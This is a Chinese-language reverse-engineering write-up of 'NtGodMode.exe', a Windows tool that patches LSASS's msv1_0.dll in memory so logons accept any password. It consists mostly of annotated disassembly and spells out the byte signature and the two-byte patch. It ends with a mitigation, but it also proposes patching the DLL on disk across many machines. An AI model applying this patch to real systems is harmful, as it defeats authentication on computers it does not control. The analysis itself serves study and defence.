byhttp://tmdnet.nothave.com

NtGodModex.exehttp://www.xfocus.net/tools/200804/1272.html

NtGodMode.exe9.00KB(9,216字节)UPX壳，直接用Ollydbg脱壳，过程略

NtGodMode~.exe120KB(123,392字节)用PE工具查看，delphi写的

00403220>55PUSHEBP

004032218BECMOVEBP,ESP

00403223B90D000000MOVECX,0D

004032286A00PUSH0

0040322A6A00PUSH0

0040322C49DECECX

0040322D^75F9JNZSHORTNtGodMod.00403228

0040322F51PUSHECX

0040323053PUSHEBX

0040323156PUSHESI

0040323257PUSHEDI

00403233A19C404000MOVEAX,DWORDPTRDS:[40409C]

00403238C60001MOVBYTEPTRDS:[EAX],1

0040323BB8C0314000MOVEAX,NtGodMod.004031C0

00403240E813EEFFFFCALLNtGodMod.00402058//获取自身进程的句柄(基地址)

00403245BB60574000MOVEBX,NtGodMod.00405760

0040324A33C0XOREAX,EAX

0040324C55PUSHEBP

0040324D6880384000PUSHNtGodMod.00403880

0040325264:FF30PUSHDWORDPTRFS:[EAX]

0040325564:8920MOVDWORDPTRFS:[EAX],ESP

00403258E81BF2FFFFCALLNtGodMod.00402478

0040325D48DECEAX

0040325E7D61JGESHORTNtGodMod.004032C1//->>004032C1

00403260E84FFEFFFFCALLNtGodMod.004030B4

004032656898384000PUSHNtGodMod.00403898;ASCII"Usage:"

0040326A8D55E4LEAEDX,DWORDPTRSS:[EBP-1C]

0040326D33C0XOREAX,EAX

0040326FE8F8F0FFFFCALLNtGodMod.0040236C

004032748B45E4MOVEAX,DWORDPTRSS:[EBP-1C]

004032778D55E8LEAEDX,DWORDPTRSS:[EBP-18]

0040327AE811F4FFFFCALLNtGodMod.00402690

0040327FFF75E8PUSHDWORDPTRSS:[EBP-18]

0040328268A8384000PUSHNtGodMod.004038A8;ASCII"ON|OFF"

004032878D45ECLEAEAX,DWORDPTRSS:[EBP-14]

0040328ABA03000000MOVEDX,3

0040328FE870E9FFFFCALLNtGodMod.00401C04

///////////////////////////////////////////////////////////////////////////////////////////////////

004032C1A18C404000MOVEAX,DWORDPTRDS:[40408C]

004032C6E861EAFFFFCALLNtGodMod.00401D2C

004032CB50PUSHEAX//msv1_0.dll

004032CCE8BFEEFFFFCALL<JMP.&kernel32.LoadLibraryA>//LoadLibrary("msv1_0.dll")

004032D1A34C574000MOVDWORDPTRDS:[40574C],EAX//保存msv1_0.dll基地址

004032D6833D4C5740000>CMPDWORDPTRDS:[40574C],0

004032DD0F8482050000JENtGodMod.00403865

004032E333C0XOREAX,EAX

004032E5A350574000MOVDWORDPTRDS:[405750],EAX

004032EAA14C574000MOVEAX,DWORDPTRDS:[40574C]

004032EF8903MOVDWORDPTRDS:[EBX],EAX

004032F133C0XOREAX,EAX

004032F355PUSHEBP

004032F46850334000PUSHNtGodMod.00403350

004032F964:FF30PUSHDWORDPTRFS:[EAX]

004032FC64:8920MOVDWORDPTRFS:[EAX],ESP

004032FF8B03MOVEAX,DWORDPTRDS:[EBX]//msv1_0.dll基地址

0040330180388BCMPBYTEPTRDS:[EAX],8B

00403304751CJNZSHORTNtGodMod.00403322

004033068B03MOVEAX,DWORDPTRDS:[EBX]

0040330840INCEAX

0040330980384DCMPBYTEPTRDS:[EAX],4D

0040330C7514JNZSHORTNtGodMod.00403322

0040330E8B03MOVEAX,DWORDPTRDS:[EBX]

0040331083C002ADDEAX,2

0040331380380CCMPBYTEPTRDS:[EAX],0C

00403316750AJNZSHORTNtGodMod.00403322

004033188B03MOVEAX,DWORDPTRDS:[EBX]

0040331A83C003ADDEAX,3

0040331D803849CMPBYTEPTRDS:[EAX],49//在msv1_0.dll空间里找8B4D0C49，这个特征值

004033207404JESHORTNtGodMod.00403326//如果找到则继续在后面的空间里找32C0

00403322FF03INCDWORDPTRDS:[EBX]

00403324^EBD9JMPSHORTNtGodMod.004032FF

004033268B03MOVEAX,DWORDPTRDS:[EBX]

00403328803832CMPBYTEPTRDS:[EAX],32

0040332B7511JNZSHORTNtGodMod.0040333E

0040332D8B03MOVEAX,DWORDPTRDS:[EBX]

0040332F40INCEAX

004033308038C0CMPBYTEPTRDS:[EAX],0C0

004033337509JNZSHORTNtGodMod.0040333E

004033358B03MOVEAX,DWORDPTRDS:[EBX]

00403337A350574000MOVDWORDPTRDS:[405750],EAX//保存找的地址[405750]

0040333CEB04JMPSHORTNtGodMod.00403342

0040333EFF03INCDWORDPTRDS:[EBX]//指针加1

00403340^EBE4JMPSHORTNtGodMod.00403326

0040334233C0XOREAX,EAX

004033445APOPEDX

0040334559POPECX

0040334659POPECX

0040334764:8910MOVDWORDPTRFS:[EAX],EDX

0040334A6857334000PUSHNtGodMod.00403357

0040334FC3RETN

00403357A150574000MOVEAX,DWORDPTRDS:[405750]

0040335C2B054C574000SUBEAX,DWORDPTRDS:[40574C]//上面找到的地址=msv1_0.dll基地址，得到特征值的偏移

00403362A350574000MOVDWORDPTRDS:[405750],EAX//offset->[405750]

00403367A14C574000MOVEAX,DWORDPTRDS:[40574C]

0040336C50PUSHEAX

0040336DE8E6EDFFFFCALL<JMP.&kernel32.FreeLibrary>

00403372C6059C5840000>MOVBYTEPTRDS:[40589C],0

00403379C605915840000>MOVBYTEPTRDS:[405891],0

00403380C6059D5840000>MOVBYTEPTRDS:[40589D],0

00403387E828FDFFFFCALLNtGodMod.004030B4//显示作者信息

0040338C8D55DCLEAEDX,DWORDPTRSS:[EBP-24]

0040338FB802000000MOVEAX,2

00403394E8D3EFFFFFCALLNtGodMod.0040236C

.

.

.

/////////////////////////////////////////////////////////////////////////////////////////////

//提升自身权限为调试权限

http://tmdnet.nothave.com/tmp/NtGodMode.txt

00402F1C53PUSHEBX;NtGodMod.00405760

00402F1D83C4E8ADDESP,-18

00402F2033DBXOREBX,EBX

00402F2254PUSHESP

00402F236A28PUSH28

00402F25E83EF2FFFFCALL<JMP.&kernel32.GetCurrentProcess>

00402F2A50PUSHEAX

00402F2BE8F8F1FFFFCALL<JMP.&advapi32.OpenProcessToken>

00402F308D44240CLEAEAX,DWORDPTRSS:[ESP+C]

00402F3450PUSHEAX

00402F35687C2F4000PUSHNtGodMod.00402F7C;ASCII"SeDebugPrivilege"

00402F3A6A00PUSH0

00402F3CE8DFF1FFFFCALL<JMP.&advapi32.LookupPrivilegeValueA>

00402F4185C0TESTEAX,EAX

00402F437430JESHORTNtGodMod.00402F75

00402F45C744240801000>MOVDWORDPTRSS:[ESP+8],1

00402F4DC744241402000>MOVDWORDPTRSS:[ESP+14],2

00402F558D442404LEAEAX,DWORDPTRSS:[ESP+4]

00402F5950PUSHEAX

00402F5A6A00PUSH0

00402F5C6A10PUSH10

00402F5E8D442414LEAEAX,DWORDPTRSS:[ESP+14]

00402F6250PUSHEAX

00402F636A00PUSH0

00402F658B442414MOVEAX,DWORDPTRSS:[ESP+14]

00402F6950PUSHEAX

00402F6AE8A9F1FFFFCALL<JMP.&advapi32.AdjustTokenPrivileges>

00402F6F83F801CMPEAX,1

00402F721BDBSBBEBX,EBX

00402F7443INCEBX

00402F758BC3MOVEAX,EBX

00402F7783C418ADDESP,18

00402F7A5BPOPEBX

00402F7BC3RETN

///////////////////////////////////////////////////////////////////////////////////////////////

.

.//这段为通过进程名获取PID(LSASS.EXE)太长略...

.

///////////////////////////////////////////////////////////////////////////////////////////////

http://tmdnet.nothave.com/tmp/NtGodMode.txt

0040358A50PUSHEAX

0040358B6A00PUSH0

0040358D68FF0F1F00PUSH1F0FFF

00403592E801ECFFFFCALL<JMP.&kernel32.OpenProcess>//打开%systemroot%system32LSASS.EXE进程

004035978BF0MOVESI,EAX

0040359985F6TESTESI,ESI

0040359B751EJNZSHORTNtGodMod.004035BB

0040359DA198404000MOVEAX,DWORDPTRDS:[404098]

004035A2BA10394000MOVEDX,NtGodMod.00403910;ASCII"Sorry.Ican'tDOmore."

004035A7E878E8FFFFCALLNtGodMod.00401E24

004035ACE86FE1FFFFCALLNtGodMod.00401720

004035B1E83EDCFFFFCALLNtGodMod.004011F4

004035B6E9AA020000JMPNtGodMod.00403865

004035BBB8A0584000MOVEAX,NtGodMod.004058A0

004035C0BA00000100MOVEDX,10000

004035C5E80EECFFFFCALLNtGodMod.004021D8

004035CA68A0584100PUSHNtGodMod.004158A0

004035CFBAA0584000MOVEDX,NtGodMod.004058A0

004035D4B900000100MOVECX,10000

004035D98BC6MOVEAX,ESI

004035DBE8A4F8FFFFCALLNtGodMod.00402E84

004035E08B3DA0584100MOVEDI,DWORDPTRDS:[4158A0]

004035E64FDECEDI

004035E785FFTESTEDI,EDI

004035E90F82D6000000JBNtGodMod.004036C5

004035EF47INCEDI

004035F0C705585740000>MOVDWORDPTRDS:[405758],0

004035FABBA0584000MOVEBX,NtGodMod.004058A0

004035FF833B00CMPDWORDPTRDS:[EBX],0

004036020F84BD000000JENtGodMod.004036C5

00403608C705A4584100C>MOVDWORDPTRDS:[4158A4],0C8

00403612A1A4584100MOVEAX,DWORDPTRDS:[4158A4]

0040361750PUSHEAX

00403618B9A8584100MOVECX,NtGodMod.004158A8

0040361D8B13MOVEDX,DWORDPTRDS:[EBX]

0040361F8BC6MOVEAX,ESI

00403621E88EF8FFFFCALLNtGodMod.00402EB4

///////////////////////////////////////////////////////////////////////////////////////////////////

http://tmdnet.nothave.com/tmp/NtGodMode.txt

00403732685C574000PUSHNtGodMod.0040575C

004037376A40PUSH40

004037396A02PUSH2

0040373BA150574000MOVEAX,DWORDPTRDS:[405750]

0040374050PUSHEAX

0040374156PUSHESI

00403742E879EAFFFFCALL<JMP.&kernel32.VirtualProtectEx>

004037476898584000PUSHNtGodMod.00405898

0040374C6A02PUSH2

0040374E6890404000PUSHNtGodMod.00404090

00403753A150574000MOVEAX,DWORDPTRDS:[405750]

0040375850PUSHEAX

0040375956PUSHESI

0040375AE869EAFFFFCALL<JMP.&kernel32.WriteProcessMemory>//32C0xoral,al修改为B001moval,1

0040375FB004MOVAL,4

00403761E8DEEFFFFFCALLNtGodMod.00402744

00403766A198404000MOVEAX,DWORDPTRDS:[404098]

0040376BBA70394000MOVEDX,NtGodMod.00403970;ASCII"OpenGodMode!"

00403770E8AFE6FFFFCALLNtGodMod.00401E24

00403775E8A6DFFFFFCALLNtGodMod.00401720

0040377AE875DAFFFFCALLNtGodMod.004011F4

0040377F33C0XOREAX,EAX

00403781E8BEEFFFFFCALLNtGodMod.00402744

00403786EB54JMPSHORTNtGodMod.004037DC

00403788685C574000PUSHNtGodMod.0040575C

0040378D6A40PUSH40

0040378F6A02PUSH2

00403791A150574000MOVEAX,DWORDPTRDS:[405750]

0040379650PUSHEAX

0040379756PUSHESI

00403798E823EAFFFFCALL<JMP.&kernel32.VirtualProtectEx>

0040379D6898584000PUSHNtGodMod.00405898

004037A26A02PUSH2

004037A46894404000PUSHNtGodMod.00404094

004037A9A150574000MOVEAX,DWORDPTRDS:[405750]

004037AE50PUSHEAX

004037AF56PUSHESI

004037B0E813EAFFFFCALL<JMP.&kernel32.WriteProcessMemory>

004037B5B007MOVAL,7

004037B7E888EFFFFFCALLNtGodMod.00402744

004037BCA198404000MOVEAX,DWORDPTRDS:[404098]

004037C1BA88394000MOVEDX,NtGodMod.00403988;ASCII"CloseGodMode!"

004037C6E859E6FFFFCALLNtGodMod.00401E24

004037CBE850DFFFFFCALLNtGodMod.00401720

004037D0E81FDAFFFFCALLNtGodMod.004011F4

004037D533C0XOREAX,EAX

004037D7E868EFFFFFCALLNtGodMod.00402744

004037DC6A00PUSH0

004037DE6A00PUSH0

004037E056PUSHESI

004037E1E86AE9FFFFCALL<JMP.&kernel32.FlushInstructionCache>

小结

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里，然后搜索特征值8B4D0C49之后第1个32C0

这个32C0汇编码xoral,al，修改为B001对应汇编码moval,1

为什么moval,1，以后就不用密码了？有兴趣的同学可以装个虚拟机，调下LSASS.EXE

这个程序在我自己的机器win2ksp4上，不起作用，我跟了一下，主要是搜索的上面的哪个特征值它不是通用的，修改错了地方

xpsp2xpsp3都起作用。

另外想让自己机器免疫这个东西的话，其实也很简单控制面板->管理工具->本地安全策略->本地策略->用户权利指派->调试程序

里面有个admin用户，删除了以后，因为这个程序提升自身权限的代码，很老，很差，很弱小，会失效

其实这个东西要这样用，通过编程的方法，关掉系统的文件保护，直接改msv1_0.dll这个PE文件，这样机器不用密码了，然后要是很多机器的话访问共享文件也方便,计算机应该以人为本。

最后说一句delphi写的东西是不行，垃圾太多~!!

http://tmdnet.nothave.com/tmp/NtGodMode.txt